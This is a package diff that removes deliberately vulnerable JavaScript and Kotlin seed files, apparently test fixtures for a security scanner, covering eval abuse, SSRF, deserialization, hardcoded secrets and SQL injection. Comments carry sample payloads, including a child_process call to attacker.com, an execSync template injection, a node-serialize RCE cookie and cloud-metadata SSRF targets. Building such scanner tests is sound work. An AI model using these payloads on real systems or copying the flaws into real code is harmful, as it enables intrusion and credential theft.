thuban 0.4.9 → 0.4.11

package/packages/crucible/seeds/js/seed-046.js

@@ -1,33 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: eval_abuse
-// severity: high
-// language: javascript
-// expected: eval() used in JSON reviver to execute serialized function strings
-
-function deserializeWithFunctions(json) {
-  return JSON.parse(json, (key, value) => {
-    if (typeof value === 'string' && value.startsWith('__fn__:')) {
-      // Executes arbitrary code stored in JSON as a function string
-      return eval('(' + value.slice(7) + ')');
-    }
-    return value;
-  });
-}
-
-function loadConfig(configJson) {
-  const config = deserializeWithFunctions(configJson);
-  return config;
-}
-
-// Elsewhere in codebase, configs are stored in DB and returned to this loader
-// Attacker-controlled DB entry:
-// { "onSuccess": "__fn__:function(){ require('child_process').exec('curl attacker.com') }" }
-
-const express = require('express');
-const router = express.Router();
-router.post('/config/load', (req, res) => {
-  const config = loadConfig(req.body.config);
-  res.json({ loaded: true, keys: Object.keys(config) });
-});
-
-module.exports = router;

package/packages/crucible/seeds/js/seed-047.js

@@ -1,29 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: eval_abuse
-// severity: high
-// language: javascript
-// expected: eval() inside setTimeout and setInterval with user-controlled string
-
-const WebSocket = require('ws');
-
-const wss = new WebSocket.Server({ port: 8080 });
-
-wss.on('connection', (ws) => {
-  ws.on('message', (message) => {
-    const msg = JSON.parse(message.toString());
-
-    if (msg.type === 'schedule') {
-      // msg.code is user-supplied — eval runs arbitrary JS after delay
-      setTimeout(() => eval(msg.code), msg.delay || 1000);
-      ws.send(JSON.stringify({ scheduled: true }));
-    }
-
-    if (msg.type === 'poll') {
-      const intervalId = setInterval(() => eval(msg.pollCode), msg.interval || 5000);
-      setTimeout(() => clearInterval(intervalId), msg.duration || 60000);
-      ws.send(JSON.stringify({ polling: true }));
-    }
-  });
-});
-
-module.exports = wss;

package/packages/crucible/seeds/js/seed-048.js

@@ -1,29 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: eval_abuse
-// severity: critical
-// language: javascript
-// expected: eval() used to parse/execute lodash-style template with user input
-
-const _ = require('lodash');
-const express = require('express');
-const router = express.Router();
-
-router.get('/render', (req, res) => {
-  const templateStr = req.query.template;
-  const vars = req.query.vars ? JSON.parse(req.query.vars) : {};
-
-  // lodash template compiles and runs JS inside <%= %> — user-controlled template is code execution
-  const compiled = _.template(templateStr);
-  const output = compiled(vars);
-  res.send(output);
-});
-
-router.post('/email-preview', (req, res) => {
-  const { template, data } = req.body;
-  // Attacker template: "<%= process.mainModule.require('child_process').execSync('id') %>"
-  const compiled = _.template(template);
-  const html = compiled(data);
-  res.type('text/html').send(html);
-});
-
-module.exports = router;

package/packages/crucible/seeds/js/seed-049.js

@@ -1,34 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: ssrf
-// severity: high
-// language: javascript
-// expected: SSRF via http.get with unvalidated user-supplied URL
-
-const http = require('http');
-const https = require('https');
-const express = require('express');
-const router = express.Router();
-
-router.get('/proxy', (req, res) => {
-  const targetUrl = req.query.url;
-  // No validation — allows requests to internal services: http://169.254.169.254/
-  const client = targetUrl.startsWith('https') ? https : http;
-  client.get(targetUrl, (proxyRes) => {
-    res.writeHead(proxyRes.statusCode, proxyRes.headers);
-    proxyRes.pipe(res);
-  }).on('error', (err) => res.status(500).send(err.message));
-});
-
-router.post('/webhook/test', async (req, res) => {
-  const { webhookUrl } = req.body;
-  // User-supplied webhook URL — fetches internal endpoints
-  const response = await fetch(webhookUrl, {
-    method: 'POST',
-    body: JSON.stringify({ test: true }),
-    headers: { 'Content-Type': 'application/json' },
-  });
-  const data = await response.text();
-  res.json({ status: response.status, body: data });
-});
-
-module.exports = router;

package/packages/crucible/seeds/js/seed-050.js

@@ -1,34 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: ssrf
-// severity: high
-// language: javascript
-// expected: SSRF via axios with user-controlled URL for avatar/image fetching
-
-const axios = require('axios');
-const express = require('express');
-const router = express.Router();
-
-router.post('/users/avatar', async (req, res) => {
-  const { avatarUrl } = req.body;
-  try {
-    // Attacker supplies: "http://10.0.0.1/admin" or "file:///etc/passwd"
-    const response = await axios.get(avatarUrl, {
-      responseType: 'arraybuffer',
-      maxRedirects: 5,
-      timeout: 10000,
-    });
-    res.set('Content-Type', response.headers['content-type']);
-    res.send(response.data);
-  } catch (err) {
-    res.status(400).json({ error: 'Failed to fetch avatar' });
-  }
-});
-
-router.get('/link-preview', async (req, res) => {
-  const url = req.query.url;
-  const { data } = await axios.get(url, { timeout: 5000 });
-  const title = data.match(/<title>(.*?)<\/title>/i)?.[1] || '';
-  res.json({ title, url });
-});
-
-module.exports = router;

package/packages/crucible/seeds/js/seed-051.js

@@ -1,30 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: ssrf
-// severity: high
-// language: javascript
-// expected: SSRF via node-fetch with user-controlled URL used in import/metadata fetching
-
-const fetch = require('node-fetch');
-const express = require('express');
-const router = express.Router();
-
-router.post('/integrations/import', async (req, res) => {
-  const { dataUrl, format } = req.body;
-  // dataUrl from user — attacker can target internal metadata: http://169.254.169.254/latest/meta-data/
-  const response = await fetch(dataUrl);
-  if (!response.ok) return res.status(502).json({ error: 'Upstream error' });
-  const raw = await response.text();
-  res.json({ format, preview: raw.slice(0, 500) });
-});
-
-router.get('/oembed', async (req, res) => {
-  const endpoint = req.query.endpoint;
-  const url = req.query.url;
-  // endpoint is the oembed provider URL — user-controlled
-  const oembedUrl = `${endpoint}?url=${encodeURIComponent(url)}&format=json`;
-  const resp = await fetch(oembedUrl);
-  const data = await resp.json();
-  res.json(data);
-});
-
-module.exports = router;

package/packages/crucible/seeds/js/seed-052.js

@@ -1,30 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: ssrf
-// severity: high
-// language: javascript
-// expected: SSRF via got/superagent with redirect following and user-controlled URL
-
-const got = require('got');
-const express = require('express');
-const router = express.Router();
-
-router.post('/check-url', async (req, res) => {
-  const { url } = req.body;
-  try {
-    // followRedirect: true — attacker can redirect to internal services
-    const response = await got(url, {
-      followRedirect: true,
-      timeout: { request: 8000 },
-      throwHttpErrors: false,
-    });
-    res.json({
-      statusCode: response.statusCode,
-      headers: response.headers,
-      bodyPreview: response.body.slice(0, 200),
-    });
-  } catch (err) {
-    res.status(400).json({ error: err.message });
-  }
-});
-
-module.exports = router;

package/packages/crucible/seeds/js/seed-053.js

@@ -1,26 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: deserialization
-// severity: critical
-// language: javascript
-// expected: unsafe deserialization via node-serialize with exec gadget
-
-const serialize = require('node-serialize');
-const express = require('express');
-const router = express.Router();
-
-router.post('/session/restore', (req, res) => {
-  const sessionData = req.cookies.session;
-  if (!sessionData) return res.status(401).json({ error: 'No session' });
-
-  try {
-    // node-serialize.unserialize executes IIFEs embedded in serialized objects
-    // Attacker cookie: {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}
-    const session = serialize.unserialize(Buffer.from(sessionData, 'base64').toString());
-    req.session.user = session.user;
-    res.json({ restored: true, user: session.user });
-  } catch (err) {
-    res.status(400).json({ error: 'Invalid session' });
-  }
-});
-
-module.exports = router;

package/packages/crucible/seeds/js/seed-054.js

@@ -1,35 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: deserialization
-// severity: high
-// language: javascript
-// expected: JSON.parse result used directly to call dynamic method — unsafe deserialization pattern
-
-const express = require('express');
-const router = express.Router();
-const actions = require('./actions');
-
-router.post('/task/execute', (req, res) => {
-  const taskJson = req.body.task;
-  // Parsed without schema validation
-  const task = JSON.parse(taskJson);
-
-  // Dynamically dispatching to a method by name from the deserialized object
-  const actionName = task.action;
-  const actionFn = actions[actionName];
-
-  if (!actionFn) return res.status(400).json({ error: 'Unknown action' });
-
-  // task.params passed directly — no sanitization
-  const result = actionFn(task.params);
-  res.json({ result });
-});
-
-router.post('/workflow/resume', (req, res) => {
-  const state = JSON.parse(req.body.workflowState);
-  // state.nextStep used to call internal module functions by name
-  const fn = require('./workflow')[state.nextStep];
-  fn(state.context, state.data);
-  res.json({ resumed: true });
-});
-
-module.exports = router;

package/packages/crucible/seeds/js/seed-055.js

@@ -1,33 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: deserialization
-// severity: high
-// language: javascript
-// expected: unsafe deserialization via vm.runInNewContext with parsed user data
-
-const vm = require('vm');
-const express = require('express');
-const router = express.Router();
-
-router.post('/sandbox/eval', (req, res) => {
-  const { code, state } = req.body;
-  const parsedState = JSON.parse(state);
-
-  // vm.runInNewContext is NOT a real sandbox — attacker can escape via prototype chain
-  // e.g. code: "this.constructor.constructor('return process')().exit()"
-  const sandbox = Object.assign({}, parsedState, { console, Math, JSON });
-  try {
-    const result = vm.runInNewContext(code, sandbox, { timeout: 2000 });
-    res.json({ result });
-  } catch (err) {
-    res.status(400).json({ error: err.message });
-  }
-});
-
-router.post('/template/execute', (req, res) => {
-  const { template, vars } = req.body;
-  const ctx = JSON.parse(vars);
-  const result = vm.runInNewContext('`' + template + '`', ctx);
-  res.send(result);
-});
-
-module.exports = router;

package/packages/crucible/seeds/kotlin/seed-001.kt

@@ -1,24 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: hardcoded_secret
-// severity: critical
-// language: kotlin
-// expected: Hardcoded Google Maps API key in source code
-
-package com.example.app
-
-import com.google.android.gms.maps.MapsInitializer
-
-object MapConfig {
-    const val GOOGLE_MAPS_API_KEY = "AIzaSyD4f8Kj2mN9pQrT1uVwXyZ3aBcDeF5gHiJ"
-    const val MAPS_SDK_VERSION = "18.1.0"
-
-    fun initialize() {
-        MapsInitializer.initialize(App.context)
-        println("Maps initialized with key: $GOOGLE_MAPS_API_KEY")
-    }
-
-    fun getStaticMapUrl(lat: Double, lng: Double): String {
-        return "https://maps.googleapis.com/maps/api/staticmap" +
-               "?center=$lat,$lng&zoom=13&size=600x300&key=$GOOGLE_MAPS_API_KEY"
-    }
-}

package/packages/crucible/seeds/kotlin/seed-002.kt

@@ -1,27 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: hardcoded_secret
-// severity: critical
-// language: kotlin
-// expected: Hardcoded Firebase credentials and project config in source
-
-package com.example.app
-
-object FirebaseConfig {
-    const val API_KEY = "AIzaSyBxK7mP2nQrSuTvWxYz0aCbDcEfGhIjKlM"
-    const val AUTH_DOMAIN = "my-prod-app.firebaseapp.com"
-    const val DATABASE_URL = "https://my-prod-app-default-rtdb.firebaseio.com"
-    const val PROJECT_ID = "my-prod-app"
-    const val STORAGE_BUCKET = "my-prod-app.appspot.com"
-    const val MESSAGING_SENDER_ID = "123456789012"
-    const val APP_ID = "1:123456789012:android:abc123def456ghi789"
-
-    fun getConfig(): Map<String, String> {
-        return mapOf(
-            "apiKey" to API_KEY,
-            "authDomain" to AUTH_DOMAIN,
-            "databaseURL" to DATABASE_URL,
-            "projectId" to PROJECT_ID,
-            "storageBucket" to STORAGE_BUCKET
-        )
-    }
-}

package/packages/crucible/seeds/kotlin/seed-003.kt

@@ -1,29 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: hardcoded_secret
-// severity: critical
-// language: kotlin
-// expected: Hardcoded AWS access key and secret key in source
-
-package com.example.cloud
-
-import com.amazonaws.auth.BasicAWSCredentials
-
-class AwsClientFactory {
-    companion object {
-        private const val ACCESS_KEY = "AKIAIOSFODNN7EXAMPLE1"
-        private const val SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
-        private const val REGION = "us-east-1"
-
-        fun createCredentials(): BasicAWSCredentials {
-            return BasicAWSCredentials(ACCESS_KEY, SECRET_KEY)
-        }
-
-        fun getRegion() = REGION
-    }
-
-    fun uploadToS3(bucket: String, key: String, data: ByteArray) {
-        val creds = createCredentials()
-        // S3 upload logic using hardcoded credentials
-        println("Uploading to s3://$bucket/$key with key ${ACCESS_KEY}")
-    }
-}

package/packages/crucible/seeds/kotlin/seed-004.kt

@@ -1,24 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: hardcoded_secret
-// severity: critical
-// language: kotlin
-// expected: Hardcoded Stripe secret key and webhook secret
-
-package com.example.payments
-
-object StripeConfig {
-    // TODO: move to environment before shipping
-    const val SECRET_KEY = "sk_live_51HxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefgh"
-    const val PUBLISHABLE_KEY = "pk_live_51HxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0987654321zyxwvut"
-    const val WEBHOOK_SECRET = "whsec_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJ"
-
-    fun getHeaders(): Map<String, String> = mapOf(
-        "Authorization" to "Bearer $SECRET_KEY",
-        "Stripe-Version" to "2023-10-16"
-    )
-
-    fun validateWebhook(payload: String, signature: String): Boolean {
-        // Uses hardcoded webhook secret
-        return signature.contains(WEBHOOK_SECRET.substring(0, 10))
-    }
-}

package/packages/crucible/seeds/kotlin/seed-005.kt

@@ -1,29 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: hardcoded_secret
-// severity: high
-// language: kotlin
-// expected: Hardcoded database password and connection string
-
-package com.example.data
-
-import java.sql.DriverManager
-
-class DatabaseConnection {
-    private val dbUrl = "jdbc:mysql://prod-db.internal.example.com:3306/appdb"
-    private val dbUser = "app_user"
-    private val dbPassword = "Sup3rS3cr3tP@ssw0rd!2024"
-
-    fun getConnection() = DriverManager.getConnection(dbUrl, dbUser, dbPassword)
-
-    fun healthCheck(): Boolean {
-        return try {
-            val conn = DriverManager.getConnection(dbUrl, dbUser, dbPassword)
-            val alive = !conn.isClosed
-            conn.close()
-            alive
-        } catch (e: Exception) {
-            println("DB connection failed: ${e.message}")
-            false
-        }
-    }
-}

package/packages/crucible/seeds/kotlin/seed-006.kt

@@ -1,21 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: hardcoded_secret
-// severity: high
-// language: kotlin
-// expected: Hardcoded JWT secret and admin password
-
-package com.example.auth
-
-object AuthConstants {
-    const val JWT_SECRET = "mySuperSecretJWTKey_doNotShare_2024_production"
-    const val ADMIN_PASSWORD = "Admin@123456!"
-    const val API_TOKEN = "tok_prod_7f3k9m2p4r8s1t6u0v5w"
-    const val ENCRYPTION_KEY = "AES256Key-32CharactersLongSecret!!"
-
-    fun generateToken(userId: String): String {
-        // Signs JWT with hardcoded secret
-        return "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.$userId.${JWT_SECRET.hashCode()}"
-    }
-
-    fun isAdmin(password: String) = password == ADMIN_PASSWORD
-}

package/packages/crucible/seeds/kotlin/seed-007.kt

@@ -1,23 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: hardcoded_secret
-// severity: critical
-// language: kotlin
-// expected: Hardcoded SendGrid and Twilio API keys
-
-package com.example.notifications
-
-object NotificationConfig {
-    const val SENDGRID_API_KEY = "SG.xxxxxxxxxxxxxxxxxxxxxxxxxxxx.yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"
-    const val TWILIO_ACCOUNT_SID = "ACxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
-    const val TWILIO_AUTH_TOKEN = "your_auth_token_here_32chars_long!!"
-    const val TWILIO_PHONE = "+15005550006"
-    const val FROM_EMAIL = "noreply@example.com"
-
-    fun sendSms(to: String, message: String) {
-        println("Sending via SID: $TWILIO_ACCOUNT_SID, Token: $TWILIO_AUTH_TOKEN")
-    }
-
-    fun sendEmail(to: String, subject: String, body: String) {
-        println("Sending via SendGrid key: $SENDGRID_API_KEY")
-    }
-}

package/packages/crucible/seeds/kotlin/seed-008.kt

@@ -1,25 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: hardcoded_secret
-// severity: critical
-// language: kotlin
-// expected: Hardcoded OAuth client secret and refresh token
-
-package com.example.oauth
-
-class OAuthClient {
-    private val clientId = "1234567890-abcdefghijklmnopqrstuvwxyz.apps.googleusercontent.com"
-    private val clientSecret = "GOCSPX-abcdefghijklmnopqrstuvwxyz123456"
-    private val refreshToken = "1//0fxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-abcdefghijklmnopqrstuvwxyz"
-
-    fun refreshAccessToken(): String {
-        val body = "client_id=$clientId&client_secret=$clientSecret" +
-                   "&refresh_token=$refreshToken&grant_type=refresh_token"
-        // Makes HTTP POST with hardcoded credentials
-        return performTokenRequest(body)
-    }
-
-    private fun performTokenRequest(body: String): String {
-        println("Refreshing token with secret: $clientSecret")
-        return "mock_access_token"
-    }
-}

package/packages/crucible/seeds/kotlin/seed-009.kt

@@ -1,21 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: sql_injection
-// severity: critical
-// language: kotlin
-// expected: Raw SQL query with string interpolation, no parameterization
-
-package com.example.data
-
-import android.database.sqlite.SQLiteDatabase
-
-class UserRepository(private val db: SQLiteDatabase) {
-    fun findUserByUsername(username: String): android.database.Cursor {
-        val query = "SELECT * FROM users WHERE username = '$username'"
-        return db.rawQuery(query, null)
-    }
-
-    fun getUserPosts(userId: String): android.database.Cursor {
-        val sql = "SELECT title, body FROM posts WHERE user_id = $userId ORDER BY created_at DESC"
-        return db.rawQuery(sql, null)
-    }
-}

package/packages/crucible/seeds/kotlin/seed-010.kt

@@ -1,28 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: sql_injection
-// severity: critical
-// language: kotlin
-// expected: Room database raw query with user-controlled string concatenation
-
-package com.example.db
-
-import androidx.room.RoomDatabase
-import androidx.sqlite.db.SupportSQLiteDatabase
-
-class ProductDao(private val db: SupportSQLiteDatabase) {
-    fun searchProducts(searchTerm: String, category: String): android.database.Cursor {
-        val query = "SELECT * FROM products WHERE name LIKE '%$searchTerm%' AND category = '$category'"
-        return db.query(query, null)
-    }
-
-    fun deleteByFilter(field: String, value: String): Int {
-        val sql = "DELETE FROM products WHERE $field = '$value'"
-        db.execSQL(sql)
-        return 1
-    }
-
-    fun updatePrice(productId: String, newPrice: String) {
-        val sql = "UPDATE products SET price = $newPrice WHERE id = '$productId'"
-        db.execSQL(sql)
-    }
-}

package/packages/crucible/seeds/kotlin/seed-011.kt

@@ -1,22 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: sql_injection
-// severity: critical
-// language: kotlin
-// expected: SQLite rawQuery with ORDER BY clause built from user input
-
-package com.example.db
-
-import android.database.sqlite.SQLiteDatabase
-
-class OrderRepository(private val db: SQLiteDatabase) {
-    fun getOrdersSorted(sortColumn: String, sortDir: String): android.database.Cursor {
-        // User-controlled ORDER BY — cannot be parameterized naively
-        val sql = "SELECT * FROM orders ORDER BY $sortColumn $sortDir"
-        return db.rawQuery(sql, null)
-    }
-
-    fun filterOrders(status: String, fromDate: String): android.database.Cursor {
-        val sql = "SELECT * FROM orders WHERE status = '$status' AND created_at >= '$fromDate'"
-        return db.rawQuery(sql, null)
-    }
-}

package/packages/crucible/seeds/kotlin/seed-012.kt

@@ -1,25 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: sql_injection
-// severity: critical
-// language: kotlin
-// expected: JDBC template with string-concatenated SQL in Android backend
-
-package com.example.backend
-
-import java.sql.Connection
-import java.sql.DriverManager
-
-class ReportService {
-    private val conn: Connection = DriverManager.getConnection("jdbc:sqlite:app.db")
-
-    fun getReportData(userId: String, reportType: String): List<Map<String, Any>> {
-        val sql = "SELECT * FROM reports WHERE user_id = '$userId' AND type = '$reportType'"
-        val stmt = conn.createStatement()
-        val rs = stmt.executeQuery(sql)
-        val results = mutableListOf<Map<String, Any>>()
-        while (rs.next()) {
-            results.add(mapOf("id" to rs.getString("id"), "data" to rs.getString("data")))
-        }
-        return results
-    }
-}

package/packages/crucible/seeds/kotlin/seed-013.kt

@@ -1,30 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: sql_injection
-// severity: critical
-// language: kotlin
-// expected: ContentProvider query with raw selection argument built from user input
-
-package com.example.provider
-
-import android.content.ContentProvider
-import android.content.ContentValues
-import android.database.Cursor
-import android.net.Uri
-
-class DataProvider : ContentProvider() {
-    override fun query(
-        uri: Uri, projection: Array<String>?, selection: String?,
-        selectionArgs: Array<String>?, sortOrder: String?
-    ): Cursor? {
-        val userId = uri.getQueryParameter("user_id")
-        val rawSelection = "user_id = '$userId' AND active = 1"
-        return database?.rawQuery("SELECT * FROM items WHERE $rawSelection", null)
-    }
-
-    private val database get() = context?.openOrCreateDatabase("app.db", 0, null)
-    override fun onCreate() = true
-    override fun getType(uri: Uri) = null
-    override fun insert(uri: Uri, values: ContentValues?) = null
-    override fun delete(uri: Uri, selection: String?, selectionArgs: Array<String>?) = 0
-    override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?) = 0
-}